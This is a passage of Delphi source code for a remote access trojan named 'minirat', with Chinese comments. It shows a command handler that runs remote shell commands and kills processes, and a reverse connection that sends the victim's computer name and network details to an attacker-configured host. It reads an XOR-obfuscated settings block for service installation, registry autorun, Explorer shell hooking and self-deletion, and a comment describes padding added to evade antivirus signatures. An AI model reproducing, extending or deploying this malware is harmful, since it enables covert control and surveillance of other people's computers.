  795.         C_PROCESSLIST:
  796.           begin
  797.             ListProcess(LSock,StrToInt(Param[0]));
  798.             Temp := IntToStr(C_FINISH) + ' '#10;
  799.             Send(LSock, Temp[1], Length(Temp), 0);
  800.           end;
  801.         C_ENDPROCESS: EndProcess(LSock,Copy(Temp, 4, Length(Temp)));
  802.         C_REMOTECMD:
  803.           begin
  804.             Temp := IntToStr(C_REMOTECMD) + ' ' +
  805.               RunDosInCap(Copy(Temp, 4, Length(Temp)));
  806.             ReplaceStr(#10, #1, Temp);
  807.             Temp := Temp + #10;
  808.             Send(LSock, Temp[1], Length(Temp), 0);
  809.           end;
  810.       end;
  811.     end;
  812.   until 1 = 2;
  813.   CloseSocket(LSock);
  814. end;
  815. procedure TServer.SendData(Text: string);
  816. var
  817.   dErr: Integer;
  818. begin
  819.   dErr := Send(Sock, Text[1], Length(Text), 0);
  820.   if (dErr = 0) then Exit;
  821. end;
  822. function ComputerName: string;
  823. var
  824.   CNameBuffer: PChar;
  825.   fl_loaded: Boolean;
  826.   CLen: ^DWord;
  827. begin
  828.   GetMem(CNameBuffer,255);
  829.   New(CLen);
  830.   CLen^:= 255;
  831.   fl_loaded := GetComputerName(CNameBuffer,CLen^);
  832.   if fl_loaded then
  833.     Result := StrPas(CNameBuffer)
  834.   else
  835.     Result := 'Unkown';
  836.   FreeMem(CNameBuffer,255);
  837.   Dispose(CLen);
  838. end;
  839. // Function for creating sockets and listening.
  840. Function TServer.Listen: Integer;      //srv type
  841. Begin
  842.   WSAStartUp($0101, WSA);
  843.   Count := 0;
  844.   FillChar(SocketList, 99, 0);
  845.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  846.   Addr.sin_family := AF_INET;
  847.   Addr.sin_port := hTons(Port);
  848.   Addr.sin_addr.S_addr := INADDR_ANY;
  849.   If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
  850.   Begin
  851.     Result := ERROR_BIND;
  852.     ReturnError := Result;
  853.     WSACleanUp();
  854.     Exit;
  855.   End;
  856.   If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
  857.   Begin
  858.     Result := ERROR_LISTEN;
  859.     ReturnError := Result;
  860.     WSACleanUp();
  861.     Exit;
  862.   End;
  863.   Len := SizeOf(Remote);
  864.   Repeat
  865.     TempSock := Accept(Sock, @Remote, @Len);
  866.     If (TempSock = INVALID_SOCKET) Then
  867.     Begin
  868.       Result := ERROR_ACCEPT;
  869.       ReturnError := Result;
  870.       WSACleanUp();
  871.       Exit;
  872.     End;
  873.     ResolveStatus(AcceptNew(TempSock));
  874.     TempSock := INVALID_SOCKET;
  875.   Until False;
  876.   WSACleanUp();
  877. End;
  878. Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
  879. Var
  880.   I: WORD;
  881. Begin
  882.   Result := -1;
  883.   For I := 0 to 99 Do
  884.     If (HandleList[I] = 0) Then
  885.     Begin
  886.       Result := I;
  887.       Int := I;
  888.       Break;
  889.     End;
  890. End;
  891. // Remote Socket Port
  892. Function RemotePort(Sock: TSocket): String;
  893. Begin
  894.   Result := IntToStr(nTohs(RemoteAddr(Sock).sin_port));
  895. End;
  896. Function TServer.ReCount: Integer;
  897. Var
  898.   I: Word;
  899. Begin
  900.   Result := 0;
  901.   For I := 0 To 99 Do
  902.     If (SocketList[I] > 0) Then
  903.       Inc(Result);
  904. End;
  905. Function TServer.Disconnect(dAddress, dPort: String): Boolean;
  906. Var
  907.   I: Word;
  908.   J: Word;
  909.   rHost: String;
  910.   rPort: String;
  911. Begin
  912.   For I := 0 To 99 Do
  913.   Begin
  914.     rHost := RemoteAddress(SocketList[I]);
  915.     rPort := RemotePort(SocketList[I]);
  916.     If (rHost = dAddress) and (rPort = dPort) Then
  917.     Begin
  918.       CloseSocket(SocketList[I]);
  919.       SocketList[I] := INVALID_SOCKET;
  920.       Break;
  921.     End;
  922.   End;
  923. End;
  924. // Report back to user at client GUI interface.
  925. Procedure TServer.ResolveStatus(Int: Integer);
  926. Begin
  927. {  Case ReturnError Of
  928.     ERROR_DISCONNECT:           //'Error: Server disconnected.';
  929.     ERROR_FAIL:                 //'Error: Failed.';
  930.     ERROR_CONNECT:              //'Error: Connection failed.';
  931.     ERROR_LISTEN:               //'Error: Listen failed.';
  932.     ERROR_ACCEPT:               //'Error: Accept of new server failed.';
  933.     ERROR_BREAK:                //'Error: "Break" used, procedure failed.';
  934.     ERROR_LOSTCONNECTION:       //'Error: Lost connection.';
  935.     ERROR_BIND:                 //'Error: Bind failed.';
  936.     SUCCESS_CONNECT:            //'Connected successfully.';
  937.     SUCCESS_FINISHED:           //'Finished successfully.';
  938.     SUCCESS_ACCEPT:             //'Accepted new connection.';
  939.   End;
  940.   }
  941. End;
  942. Function TServer.AcceptNew(SSock: TSocket): Integer;     //srv type
  943. Var
  944.   I: Integer;
  945.   D: DWord;
  946. Begin
  947.   If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
  948.   Begin
  949.     Result := ERROR_ACCEPT;
  950.     Exit;
  951.   End;
  952.   rSocket.Sock := SSock;
  953.   rSocket.Count := I;
  954.   SocketList[I] := SSock;
  955.   HandleList[I] := CreateThread(nil, 0, @ReceiveData, @rSocket, 0, D);
  956.   Count := ReCount();
  957.   Result := SUCCESS_ACCEPT;
  958. End;
  959. procedure TServer.Connect;
  960. begin
  961.   Password := PieZhi.dPass;
  962.   Host := ResolveIP(PieZhi.dDnsHost);
  963.   Port := StrToInt(PieZhi.dRemotePort);
  964.   WSAStartUP($0101, WSA); //加载winsock库
  965.   Close := False;
  966.   repeat
  967.     Sock := Socket(AF_INET, SOCK_STREAM, 0);
  968.     Addr.sin_family := AF_INET;
  969.     Addr.sin_port := hTons(Port);
  970.     Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
  971.     if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
  972.     begin
  973. //      SendData('01 ' + password + #10);
  974.       SendData('02 ' + version + #10);
  975.       SendData('03 ' + getnet + #10);
  976.       SendData('20 ' + ComputerName + #10);
  977.       rSocket.Sock := Sock;
  978.       ReceiveData(@rSocket);
  979.     end;
  980.     Sleep(30000);
  981.     LastDir := '';
  982.   until (Close);
  983.   WSACleanUP();
  984. end;
  985. procedure ReadFileStr(dName: string; var Content: string);
  986. var
  987.   FContents: file of Char;
  988.   FBuffer: array[1..1024] of Char;
  989.   rLen: LongInt;
  990.   FSize: LongInt;
  991. begin
  992.   try
  993.     Content := '';
  994.     AssignFile(FContents, dName); // 访问正在使用的 文本文件
  995.     Reset(FContents);
  996.     FSize := FileSize(FContents);
  997.     while not EOF(FContents) do
  998.     begin
  999.       BlockRead(FContents, FBuffer, 1024, rLen); // 读记录
  1000.       Content := Content + string(FBuffer);
  1001.     end;
  1002.     CloseFile(FContents);
  1003.     if Length(Content) > FSize then
  1004.       Content := Copy(Content, 1, FSize);
  1005.   except
  1006.     Exit;
  1007.   end;
  1008. end;
  1009. //间单加密一下--------------
  1010. function EncryptText(Text: string): string;
  1011. var
  1012.   I: Word;
  1013.   C: Word;
  1014. begin
  1015.   Result := '';
  1016.   for I := 1 to Length(Text) do
  1017.   begin
  1018.     C := Ord(Text[I]);
  1019.     Result := Result + Chr((C xor 12));
  1020.   end;
  1021. end;
  1022. //读取所有配置信息 --------------
  1023. procedure ReadSettings;
  1024. var
  1025.   I: Word;
  1026.   Settings: string;
  1027.   FileContent: string;
  1028.   NewFileName: string;
  1029. begin
  1030. //  NewFileName := ParamStr(0) + '_'; //生成文件名
  1031. //  CopyFile(pChar(ParamStr(0)), pChar(NewFileName), False); //复制
  1032.   ReadFileStr(ConFile, FileContent);
  1033.   I := Length(FileContent);
  1034.   Settings := '';
  1035.   while (I > 0) and (FileContent[i] <> #00) do
  1036.   begin
  1037.     Settings := FileContent[i] + Settings;
  1038.     Dec(I);
  1039.   end;
  1040.   if (Settings = '') then
  1041.   begin
  1042.     DeleteFile(pChar(NewFileName));
  1043.     Uninstall;
  1044.   end;
  1045.   Settings := EncryptText(Settings);
  1046.   pz^.Urlhttp := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //x
  1047.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1048.   pz^.dConType := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); ////连接类型; 0:主动连接,1:被动连接
  1049.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1050.   pz^.dDnsHost := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //100
  1051.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1052.   pz^.dLocalPort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //被动连接端口
  1053.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1054.   pz^.dRemotePort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //主动连接端口
  1055.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1056.   pz^.dPass := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //连接客码
  1057.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1058.   pz^.dGroup := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //上线组
  1059.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1060.   pz^.dRunAsSrv := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //以服务运行  1:以服务运行,2:注册自动启动
  1061.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1062.   pz^.dInsPath := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装路      0:<window> 1:<system> 2<templete>
  1063.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1064.   pz^.dInsFileName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装文件名称
  1065.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1066.   pz^.dIsAutoDelMe := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //是否自己删除自己 0:不删除 1:删除自己
  1067.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1068.   pz^.dSrvView := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务说明
  1069.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1070.   pz^.dSrvName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务名称
  1071.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1072.   pz^.dSrvText := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务描述
  1073.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1074.   pz^.dMainThread := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //Start.exe线程ID
  1075.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1076.   strcopy(pz^.dhostProcess,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
  1077.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1078.  strcopy(pz^.dDllFile,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
  1079.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1080.   pz^.dRegLM := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_LOCAL_MACHINE
  1081.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1082.   pz^.dRegCU := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_CURRENT_USER
  1083.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1084.   pz^.dRegSH := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册为Shell Explorer
  1085.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  1086. //  DeleteFile(pChar(NewFileName));
  1087. end;
  1088. //获取系统目录 --------------------
  1089. function GetDirectory(dInt: Integer): string;
  1090. var
  1091.   S: array[0..255] of Char;
  1092. begin
  1093.   case dInt of
  1094.     0: GetWindowsDirectory(@S, 256);
  1095.     1: GetSystemDirectory(@S, 256);
  1096.   end;
  1097.   Result := string(S) + '';
  1098. end;
  1099. procedure miniratMain;stdcall;
  1100. begin
  1101.   asm   //改成卡吧不能特征码
  1102.     nop
  1103.     nop
  1104.   end;
  1105.   Serv := TServer.Create;
  1106.   while not (InternetGetConnectedState(nil, 0)) do
  1107.     Sleep(5000);
  1108.   if PieZhi.dConType='0' then   //0:被动连接 1:主动连接
  1109.   begin
  1110.     Serv.Port := StrToInt(PieZhi.dLocalPort);
  1111.     Serv.Listen;
  1112.   end
  1113.   else
  1114.     Serv.Connect;
  1115. end;
  1116. end.